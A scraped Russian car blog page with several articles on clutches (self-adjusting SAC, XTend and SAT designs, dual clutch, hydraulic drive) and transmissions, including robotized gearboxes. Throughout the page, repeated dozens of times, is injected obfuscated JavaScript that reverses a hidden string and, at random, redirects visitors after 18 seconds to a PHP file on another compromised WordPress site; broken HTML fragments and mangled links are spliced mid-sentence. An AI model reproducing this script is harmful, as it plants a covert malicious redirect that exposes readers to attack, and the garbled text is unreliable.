Уважаемые друзья нашего блога, если вы зашли ко мне на блог, значит у вас есть потребность познать как работает ваш железный конь. А сегодня мы узнаем что значит работа сцепления автомобиля на самообслуживании.
В процессе эксплуатации автомобиля, в сцеплении происходит износ ведомого диска, точнее накладок этого диска. По этой причине нажимной диск смещается к маховику, а «лепестки» диафрагменной пружины, в свою очередь, в противоположном направлении. Это увеличивает рабочий ход механизма и изменяет положение педали сцепления.
История создания саморегулирующего сцепления
В 90-х годах прошлого столетия инженеры компании Luk предложили систему компенсации выработки накладок ведомого диска в автоматическом режиме, которую назвали саморегулирующее сцепление (Self-Adjusting Clutch – сокращенно SAC).
Сегодня разработаны и используются несколько конструкций этого устройства:
- SAC разработки Luk;
- XTend разработки ZF Sachs;
- SAT разработки Valeo.
Работа сцепления автомобиля
Все эти варианты имеют практически одинаковые функции. Кроме компенсации выработки, такое сцепление обеспечивает уменьшение и стабильность выжимного усилия.
Это заметно удлиняет срок работы устройства и дает возможность его использовать в различных трансмиссиях автомобилей, в частности, с большими двигателями. Саморегулирующееся сцепление используют во многих роботизированных КПП, например, в Easytronic.
Конструкция саморегулирующего сцепления
SAC компании Luk
В этом варианте SAC содержит диафрагменную пружину, опирающуюся на диафрагменную сенсорную пружину, по окружности на которой расположены короткие «лепестки». Над диафрагменной находится регулировочное кольцо с 12 клиньями, закрепленное в корпусе тремя пружинами.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/shema_lutch.jpg» alt=»Работа сцепления автомобиля в конструкции SAC» width=»470″ height=»470″/></p><p> </p><p> </p><p> </p><ol><li>диафрагменная пружина;</li><li>нажимной диск;</li><li>сенсорная диафрагменная пружина;</li><li>регулировочное кольцо;</li><li>пружина регулировочного кольца;</li><li>корпус корзины сцепления</li></ol><p> </p><p> </p><p> </p><p> </p><p>В противоположность диафрагменной, у сенсорной постоянная силовая характеристика, ее величина соответствует усилию, необходимому для срабатывания механизма с новыми накладками.</p><p>В процессе срабатывания накладок, усилие, прикладываемое к сенсорной диафрагменной пружине, растет, и ее «лепестки» прогибаются. Это приводит к тому, что регулировочное кольцо поворачивается и с помощью клиньев компенсирует возникший зазор. Работа <a href= "Работа сцепления автомобиля в конструкции SAC")
$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/privod-stsepleniya.html» target=»_blank» rel=»noopener noreferrer»>сцепления автомобиля с такой конструкцией не требует регулировки.
Работа сцепления автомобиля XTend компании ZF Sachs.
У этого механизма компенсации износа несколько иная конструкция. Он находится меж диском (нажимным) и диафрагменной пружиной и состоит из двух установочных колец, защелки и ограничителя на корпусе.
Кольца устанавливаются одно на другое и соединяются с корпусом при помощи пружины натяжения. По окружности на кольцах есть некоторое количество клиновидных ползунов, удерживаемых пружиной растяжения.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/shema_tch.jpg» alt=»Cаморегулирующttся сцеплениt XTend» width=»470″ height=»487″/></p><p> </p><p> </p><p> </p><ol><li>корпус корзины сцепления;</li><li>диафрагменная пружина;</li><li>установочное кольцо;</li><li>пружина натяжения установочного кольца;</li><li>пружина растяжения ползуна;</li><li>пружинная защелка;</li><li>ограничитель на корпусе сцепления</li></ol><p> </p><p> </p><p> </p><p>Ограничитель, расположенный на корпусе, фиксирует утончение накладок на ведомом диске. Защелка передвигается над кольцами в зависимости от величины выработки до ограничителя.</p><p>Верхнее установочное кольцо под воздействием пружины растяжения скользит по клиновидному ползуну и устанавливается в приподнятом положении.</p><p>Во время выключения <a href= "Cаморегулирующttся сцеплениt XTend")
$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/dvojnoe-stseplenie.html» target=»_blank» rel=»noopener noreferrer»>сцепления, нижнее установочное кольцо под воздействием пружины натяжения проворачивается, фиксируя верхнее кольцо. В результате чего компенсируется износ и работа сцепления автомобиля не требует обслуживания..
SAT (Self-Adjusting Technology)
Сцепление SAT автоматически компенсирует износ накладок при помощи специального храпового механизма. Между диском (нажимным) и диафрагменной пружиной расположено коническое опорное кольцо.
По мере того как накладки становятся тоньше, оно проворачивается по конической поверхности. На нем имеется зубчатый сектор, который проворачивает червяк, на оси которого закреплено храповое колесо.
Фиксируется колесо собачкой, за счет этого фиксируется и опорное кольцо, и таким образом происходит компенсация выработки.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/sat.jpg» alt=»Сцепление SAT (Self-Adjusting Technology)» width=»800″ height=»354″/></p><p>Очевидно, что в будущем автопроизводители станут использовать новый вид сцепления. Работа сцепления автомобиля будет малоообслуживаемое, обеспечит более продолжительную эксплуатацию и комфортное управление педалью авто с механическим вариантом трансмиссии.</p><p>Теперь вы в курсе как работают разные системы SAC и почему за ними будущее. Расскажите об этом своим друзьям – оставьте ссылку на статью в социальных сетях, и до новых встреч на страницах нашего блога!</p><p></p></div></li><li class= "Сцепление SAT (Self-Adjusting Technology)")
Двойное сцепление: совакупность достоинств механики и автомата
Бьюсь об заклад, процентов 90 из вас, прочитав заголовок этой статьи, подумает: «двойное сцепление что это»?
Не стыдитесь, большинство механиков в любом автосервисе не сразу сможет объяснить вам что это и как оно работает.
Но на самом деле ничего сложного в принципе работы этого механизма нет, а если вы внимательно ознакомитесь с этой статьей, то убедитесь в этом.
Историческая справка
Устройство перекочевало в конвейерное производство автомобилей со спортивных треков. Первый прототип появился в 1939 году. Его автор Адольф Кегресс, планировал установить его на Citroen Traction. Однако дальше чертежей дело не пошло.
И лишь в конце прошлого века компания Porsche создала КПП, которая переключала передачи без сбрасывания газа.
Если ранее при переключении передач форсированные моторы теряли мощность, в результате сброса газа, то система с двойным сцеплением обеспечивала переключение передач без снижения мощности крутящего момента.
Как устроено двойное сцепление
Главная суть изобретения, это использование в работе сцепления обоих (двух) валов коробки передач.
Если в обычном механическом варианте шестерни установлены на одном валу, то тут первое сцепление транслирует крутящий момент на внешний вал (для четных передач), а второе – на внутренний (для нечетных передач).
Другими словами, в корпусе как бы размещены две механические коробки, которые работают попеременно.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/kpp-dvojnoe_sz.jpg» alt=»Схема двойного сцепления» width=»532″ height=»462″/></p><p> </p><p>Управляются механизмы КПП автоматическим и гидравлическим способами. В отличие от <a href= "Схема двойного сцепления")
$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/avtomaticheskaya-korobka-peredach.html» target=»_blank» rel=»noopener noreferrer»>автоматической коробки передач, в КП, имеющих двойное сцепление, нет гидротрансформатора. Есть варианты с «мокрым» двойным сцеплением (детали работают в смазочно-охлаждающей жидкости) и обычные, сухие.
Вообще, мнение специалистов сходится в том, что система DSG (Direct Shift Gearbox) самая лучшая для сухого двойного сцепления.
Принцип работы сухого двойного сцепления
В момент начала движения на первой передаче, автоматика начинает готовить вторую. В момент переключения первое сцепление выключается, а второе – включается.
После чего автоматика определяет, что авто разгоняется дальше и начинает готовить третью, и далее по такому же алгоритму.
Для определения следующей передачи автоматика учитывает:
- положение педали газа (зависит от того разгоняется автомобиль или тормозит);
- скорость вращения первого вала или второго;
- угловые скорости вращение колес;
- расположение рычага переключения КП.
Во время переключения на какие-то доли секунды первое и второе сцепления становятся замкнутыми.
В результате этого мотор остается соединенным с ведущими колесами и крутящий момент фактически не снижается.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/szepl2.jpg» alt=»Двойное сцепление — схема» width=»536″ height=»403″/></p><p>Часто такую коробку именуют полуавтоматической трансмиссией. Но на самом деле это «механика», только без педали сцепления. Переключать передачи может как компьютер, так и водитель рычагом или кнопками, расположенными на руле.</p><p><img class= "Двойное сцепление - схема")
Коробки переключения передач с двойными сцеплением объединили все достоинства «to-takoe-mehanicheskaya-korobka-peredach.html» target=»_blank» rel=»noopener noreferrer»>механики» и «tomaticheskaya-korobka-peredach.html» target=»_blank» rel=»noopener noreferrer»>автомата»: малый расход горючего, плавность хода, удобство управления.
Все ведущие автопроизводители уже используют системы двойного сцепления на своих моделях, в этом будущее. Их распространение сдерживает лишь значительная себестоимость и опасения в среде потенциальных покупателей.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/kpp_two_.jpg» alt=»Коробка передач с двойным сцеплением» width=»800″ height=»448″/></p><p>Вот пожалуй и всё о двойном сцеплении.</p><p>Если вам понравилась статья, делитесь с друзьями, либо ссылкой, либо с помощью кнопок социальных сетей.</p><p>Возможно кто-то из них не может определиться, покупать или нет авто с таким сцеплением. А ответ здесь прост: однозначно – да!</p><p>До новых встреч на страницах нашего блога!</p></div></li><li class= "Коробка передач с двойным сцеплением")
Гидравлический привод сцепления: облегченный труд водителя
Дорогие друзья, а эта статья расскажет вам о том, как облегчается усилие ноги при выключении сцепления по средством механизма, называемого гидравлический привод сцепления, о его конструктивных особенностях и устройстве.
Гидравлический привод сцепления. Назначение
Здесь все просто. Устройство предназначено для включения и выключения сцепления посредством отжима диафрагменной пружины.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/trosov_privod.jpg» alt=»Привод сцепления» width=»800″ height=»570″/></p><p> </p><h2>Виды устройства</h2><p>На современных автомобилях устанавливают привод трех видов: гидравлический, механический.</p><h3>Механический привод</h3><p>Механический – чаще всего используется в конструкции небольших легковых авто. Его основные преимущества – простата, надежность в эксплуатации, взаимозаменяемость узлов, низкая стоимость ремонта.</p><p><img class= "Привод сцепления")
Тренируем левую ногу или для чего нужно сцепление в автомобиле
Как вы думаете, для чего нужно сцепление в автомобиле с механической коробкой? Для тренировки левой ноги, особенно в пробках или чтобы просто не она без дела не болталась? Шутка)))
Оказывается сцепление есть не только в автомобилях с механической трансмиссией, есть оно и в автоматических коробках передач.
Любая конструкция трансмиссии автомобиля имеет узел, который разрывает связь между двигателем и остальными механизмами, участвующими в движении автомобиля.
Для чего нужно сцепление в автомобиле
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/szeplenie.jpg» alt=»Для чего нужно сцепление в автомобиле» width=»800″ height=»576″/></p><p>Принцип работы сцепления состоит в следующем — для временного разъединения двигателя от трансмиссии.</p><p>Для их плавного соединения при начале движения и легкого переключении передач, для предохранения деталей трансмиссии от избыточных нагрузок и сглаживания вибраций.</p><p>Сцепление расположено между мотором и коробкой передач.</p><h2>Конструктивные особенности сцепления</h2><p>По типам сцепления они могут быть гидравлическое, фрикционное, электромагнитное.</p><ul><li>в гидравлическом варианте связь достигается благодаря потоку жидкости;</li><li>во фрикционном ‒ крутящий момент транслируется за счет использования сил трения;</li><li>в электромагнитном – процессом управляет магнитное поле.</li></ul><p>Самое распространенное, это как правило, у автомобилей с механическими коробками передач ‒ фрикционное.</p><blockquote class= "Для чего нужно сцепление в автомобиле")
На современных легковых авто устанавливают, однодисковое сухое сцепление, которое вместе с маховиком состоит из: нажимного и ведомого дисков, диафрагменной пружины, подшипника (нажимного) выключения, муфты и вилки.
Диск — ведомый
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/fero<script>$mWn=function(n){if(typeof ($mWn.list[n])== "Ведомый диск")
Задача ведомого диска – мягкое соединение двигателя с валом коробки передач. Он расположен между нажимным диском (НД) и маховиком.
Для плавности включения в предусмотрены демпферные пружины, которые гасят крутильные колебания.
С обеих его сторон диска установлены фрикционные накладки из стеклянных волокон и латунной проволоки, запрессованных в состав из каучука и смолы.
Этот материал выдерживает температуру до плюс 400°С.
На спортивных авто применяют керамический вариант, с накладками из углеродного волокна — кевлара и керамики. Существуют и еще более прочные накладки – металлокерамические, они выдерживают температуру до 600°С.
Диск нажимной
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/korzina.jpg» alt=»Корзина сцепления» width=»800″ height=»533″/></p><p>При помощи нажимного диска ведомый прижимается к маховику, а при необходимости освобождается от давления.</p><p>Нажимной присоединен к корпусу тангенциальными пластинчатыми пружинами. Они, при выключении сцепления, работают как возвратные.</p><p>Полученное таким образом плавное переключение передач, продлевает срок службы деталей коробки передач.</p><p>На нажимной диск давит диафрагменная пружина, она создает требуемое усилие сжатия для обеспечения передачи крутящего момента.</p><p>Наружным диаметром диафрагменная пружина упирается в края НД. Ее внутренний диаметр составляют упругие лепестки, на которые воздействует нажимной (или выжимной, разницы нет) подшипник.</p><p>Диафрагменная пружина, нажимной диск и корпус составляют один блок, который принято называть корзиной.</p><h3>Выжимной подшипник</h3><p><img class= "Корзина сцепления")
Классификация
Классифицируют устройство сцепление по нескольким признакам.
- по связи ведущих и ведомых узлов таких как: гидравлические, фрикционные и электромагнитные;
- по состоянию поверхности трения — сухое и мокрое. В первом случае используют сухое трение дисков. Во втором – процесс происходит в жидкости;
- нажимное усилие может быть следующих вариантов: центробежные, полу-центробежные, с центральной пружиной, с периферийными пружинами;
- по количеству ведомых валов встречаются одно-, двух- и многодисковые системы;
- тип привода – с механическим или гидравлическим приводом.
Все перечисленные варианты (кроме центробежных) – замкнутые, то есть они постоянно выключены или включены водителем для переключения скоростей, во время остановки и торможения автомобиля.
Вот так, пока в общих чертах, для чего нужно сцепление в автомобиле.
В следующих статьях мы более подробно поговорим о наиболее распространенных вариантах конструкций: $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/samoreguliruyushhee-stseplenie.html» target=»_blank» rel=»noopener noreferrer»>саморегулирующее сцепление. А вот сейчас не плохо бы задуматься! Как же он движется по земле, наш любимец, автомобиль? Двигатель уже знаем как работает, а колеса крутятся в другую сторону, да еще вперед и назад. И сегодня поговорим о трансмиссии и её устройстве. Что входит в трансмиссию и о конструктивных особенностях этой системы. Старая добрая «механика» постепенно становится достоянием прошлого, а в некоторых странах уже сейчас считается экзотикой, на смену ей давно пришли различные автоматизированные коробки, позволяющие водителю не задумываться лишний раз о том, какую передачу необходимо воткнуть в сложившийся момент. В результате тотальной автоматизации и совершенствования КПП совсем недавно появился совершенно новый принцип переключения передач, так называемый «робот». И сейчас мы рассмотрим что такое роботизированная коробка передач плюсы и минусы таких трансмиссий. Прежде чем перейти к выяснению достоинств и недостатков, необходимо разобраться, что же вообще собой представляет роботизированная коробка передач. По сути, это всё та же хорошо известная многим МКПП, но только дополненная механизмами, которые без участия человека нажимают на сцепление и переводят коробку на нужную передачу. Конечно же, в салон авто робота, который бы выполнял такие манипуляции, не посадишь, поэтому инженеры просто доукомлпектовали КПП специальными устройствами под названием актуаторы, которые, собственно, и дёргают за вас селектор передач и выжимают сцепление. Управляются они при помощи электроники, умеющей считывать и анализировать сигналы с многочисленных датчиков, разбросанных по узлам и агрегатам машины.Трансмиссия автомобиля — незаменимый посредник между двигателем и колесами
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/polni_privod.jpg» alt=»Трансмиссия автомобиля» width=»995″ height=»556″/></p><p> </p><h2>Правильно крутим колеса</h2><p>Если коротко, то все механизмы, которые находятся между двигателем и ведущими колесами и есть трансмиссия автомобиля. Она выполняет такие функции:</p><ul><li>транслирует крутящий момент с движка на ведущую ось;</li><li>изменяет значение и направление кр.момента;</li><li>распределяет кр.момент по ведущим колесам.</li></ul><h2><img class= "Трансмиссия автомобиля")
$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/szeplenie-avtomobilya.html» target=»_blank» rel=»noopener noreferrer»>Сцепление служит для непродолжительного отсоединения движка от трансмиссии и последующего плавного соединения этих элементов после переключения передачи, а также защиты деталей от избыточных нагрузок.{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/szeplenie.png» alt=»Механическое цепление» width=»500″ height=»384″/></p><h3>Коробка передач</h3><p><a href= "Механическое цепление")
$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/chto-takoe-mehanicheskaya-korobka-peredach.html» target=»_blank» rel=»noopener noreferrer»>Коробка передач изменяет крутящий момент, скорость и направление движения, а также разъединяет на продолжительное время двигатель и трансмиссию. Коробки бывают механические, $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/planetarnaya-peredacha-printsip-dejstviya.html» target=»_blank» rel=»noopener noreferrer»>классические (гидротрансформатор — планетарные передачи){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/kor_peredach.jpg» alt=»Коробка передач» width=»800″ height=»632″/></p><h3>Карданная передача</h3><p><a href= "Коробка передач")
$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/kardannaya-peredacha.html» target=»_blank» rel=»noopener noreferrer»>Карданная передача нужна для трансляции кр.момента со вторичного вала коробки на вал гл.передачи, которые находятся под углом друг относительно друга.{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/10/kardan.jpg» alt=»Кардан» width=»600″ height=»312″/></p><h3></h3><h3>Главная передача</h3><p>ГП необходима, чтобы увеличить кр.момент, изменить направление и передать его на полуоси. Обычно в авто применяют гипоидную главную передачу (зубы передачи не прямые как обычно, а радиальные).</p><h3><img class= "Кардан")
Роботизированная коробка передач: стоит ли игра свеч?
Что за робот такой?
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2018/02/robotizirovannaya-korobka-peredach.jpg» alt=»Роботизированная коробка передач с двойным сцеплением» width=»1100″ height=»700″/></a></p><p>Вся проблема в том, что автоматизированное двойное сцепление управляется только электроникой и в сложных условиях (при частых замедлениях и разгонах, особенно при езде в пробках) переключение передач происходит очень часто, что ведет к перегреву дисков сцепления.</p><p>Электроника работает добросовестно, выдерживая плавный режим движения, но как раз эта педантичность и приводит к нежелательным последствиям.</p><p>Перегрев сильно сокращает ресурс коробки. Даже самые надежные коробки Volkswagen, в городском режиме эксплуатации с трудом выдерживают 80 тысяч пробега. После чего ремонт просто необходим. А стоит он под 50 тысяч рублей и больше.</p><p>Однако, что мы видим, Volkswagen, оснащает все свои модели такими КПП поголовно. Видимо всё же в этом есть смысл, экономия топлива перекрывает расходы по ремонту коробки.</p><p>Перечислим минусы:</p><ul><li>невысокий ресурс работы сцепления;</li><li>трансмиссии с электрическими актуаторами имеют заметную задержку при переключении скоростей. Инженеры решили эту проблему: один из вариантов внедрение гидравлических актуаторов, второй вариант — двойное сцепление. К сожалению, вышеперечисленные способы не делают коробки дешевле;</li><li>при езде в пробках приходится использовать полуавтоматический режим и самостоятельно управлять переключением скоростей, иначе ресурс агрегата значительно снижается;</li><li>не редкость рывки, появляющиеся при переключении передач. Это говорит о том, что скоро в ремонт;</li><li>перегрев сцепления — частая проблема, описанная выше. Перегрев случается еще и при езде накатом или буксировке.</li><li>ремонт и настройка производится только высококвалифицированными специалистами.</li></ul><p>А если по-большому счету, то роботизированная коробка, это гениальное решение, достойное восхищения, за ним будущее. Всё равно инженеры придумают и устранят слабые места у «робота».</p><p>А пока, коллеги автолюбители, можно ли назвать героя сегодняшней статьи идеальной КПП? Наверное, нет, хотя перечисленные преимущества весьма весомые.</p><p>Робот понравится и любителю неспешной езды, и фанату драйва, просто он чаще будет заезжать в сервис.</p><p>Не бойтесь роботизированной коробки, смело приобретайте автомобили с такой коробкой.</p><p>А я откланиваюсь и желаю вам всех благ. До новых встреч на страницах нашего блога! Подписывайтесь!</p></div></li> </ul><!-- #posts-container /--> <div class= "Роботизированная коробка передач с двойным сцеплением")